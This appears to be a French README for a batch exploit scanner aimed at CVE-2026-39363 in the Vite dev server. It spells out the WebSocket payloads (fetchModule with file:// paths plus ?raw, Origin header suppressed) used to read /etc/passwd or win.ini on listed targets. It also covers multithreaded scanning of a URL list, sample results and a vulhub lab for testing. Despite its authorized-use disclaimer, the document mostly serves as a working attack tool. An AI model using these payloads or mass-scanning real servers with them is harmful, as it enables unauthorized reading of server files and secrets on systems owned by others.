
Scanner de vulnérabilités par lot pour CVE-2026-39363 dans le serveur de développement Vite, exploitant le contournement de la validation d'origine WebSocket pour lire des fichiers arbitraires via fetchModule avec le protocole file://.
Avertissement : Cet outil est destiné uniquement aux tests de sécurité autorisés et à la recherche pédagogique. L'utilisateur doit se conformer aux lois et réglementations locales ; scanner ou attaquer les systèmes d'autrui sans autorisation est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.
Le serveur de développement Vite (6.0.0 ~ 6.4.1, 7.0.0 ~ 7.3.1, 8.0.0 ~ 8.0.4) ne vérifie pas l'en-tête Origin de son WebSocket HMR. Un attaquant peut invoquer fetchModule via l'événement vite:invoke, en utilisant le protocole file:// avec le paramètre ?raw pour contourner la restriction server.fs.allow et lire n'importe quel fichier du serveur.
url.txt → http://host:port
↓ analyse host + port
↓
┌─ Étape 1 : tentative ws://host:port donné
│ ├─ Handshake WebSocket réussi + exploit réussi → vulnérable
│ └─ échec → si le port donné == 5173 → non vulnérable
│
└─ Étape 3 : sondage de host:5173 (uniquement si le port donné ≠ 5173)
├─ port fermé → non vulnérable
└─ port ouvert → handshake WebSocket + exploit sur 5173
├─ succès → vulnérable
└─ échec → non vulnérable
pip install -r requirements.txt
Pour activer le proxy, décommentez les lignes 26-27 du script
# Pour activer le proxy, décommentez les deux lignes ci-dessous et définissez l'adresse et le port du proxy
# os.environ["HTTP_PROXY"] = "http://127.0.0.1:8083"
# os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8083"
Écrivez les URL cibles dans url.txt, une par ligne :
http://192.168.1.100:5173
http://example.com
http://target.cn:8080
python cve_2026_39363.py
Terminal :
[*] Loaded 3 URL(s), scanning with 3 thread(s)...
http://192.168.1.100:5173 存在漏洞 (Linux)
http://example.com 存在漏洞 (Linux)
http://target.cn:8080 不存在漏洞
[*] Done. 2/3 vulnerable, elapsed 3.2s
[*] Results saved to result.txt
result.txt :
http://192.168.1.100:5173 (Linux)
http://example.com:5173 (Linux)
Chaque ligne contient le type de POC (
Linux/Windows), identifiant les caractéristiques du fichier lu avec succès.
| Système cible | Fichier lu | Marqueur caractéristique |
|---|---|---|
| Linux | file:///etc/passwd?raw | root: |
| Windows | file:///C:/Windows/win.ini?raw | for 16-bit app support |
Deux formats de payload sont pris en charge (essayés dans l'ordre) :
{"id":"send:0","name":"fetchModule","data":[file_path]}{"fn":"fetchModule","args":[file_path]}| Paramètre | Valeur | Raison |
|---|---|---|
| Sous-protocole | vite-hmr | Exigence du WebSocket HMR de Vite |
| Origin | Envoi supprimé (suppress_origin=True) | Vite rejette les connexions non-navigateur avec un en-tête Origin |
# Démarrage
docker run -d --name vite-vuln -p 5173:5173 vulhub/vite:7.3.1
# Analyse
echo "http://127.0.0.1:5173" > url.txt
python cve_2026_39363.py
# Nettoyage
docker stop vite-vuln && docker rm vite-vuln
Q : Toutes les détections renvoient « non vulnérable » ?
--host ou server.hostWebSocket n'est pas désactivé par server.ws: falseQ : Sortie illisible sous Windows ?
Q : Le url.txt généré par PowerShell ne peut pas être analysé ?
utf-8-sig pour ignorer automatiquement le BOM